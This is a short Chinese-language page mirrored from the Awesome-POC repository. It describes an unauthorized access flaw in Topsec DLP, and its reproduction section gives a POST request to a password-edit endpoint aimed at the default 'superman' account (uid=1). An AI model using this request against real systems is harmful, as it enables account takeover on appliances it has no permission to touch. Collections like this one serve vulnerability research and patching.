admin/Awesome-POC
1
0
Fork 0
mirror of https://github.com/Threekiii/Awesome-POC.git synced 2025-11-07 11:58:05 +00:00
Code Issues Packages Projects Releases Wiki Activity
Awesome-POC/Web应用漏洞/天融信 DLP 未授权访问漏洞.md
Threekiii a31ca0bb1c Web应用漏洞
2022-05-17 17:43:20 +08:00

257 B
Raw Blame History

天融信 DLP 未授权访问漏洞

漏洞描述

天融信DLP存在未授权访问漏洞

漏洞影响

天融信DLP

漏洞复现

POC为

默认用户superman的uid=1
POST /?module-auth_user&action=mod_edit.pwd HTTP/1.1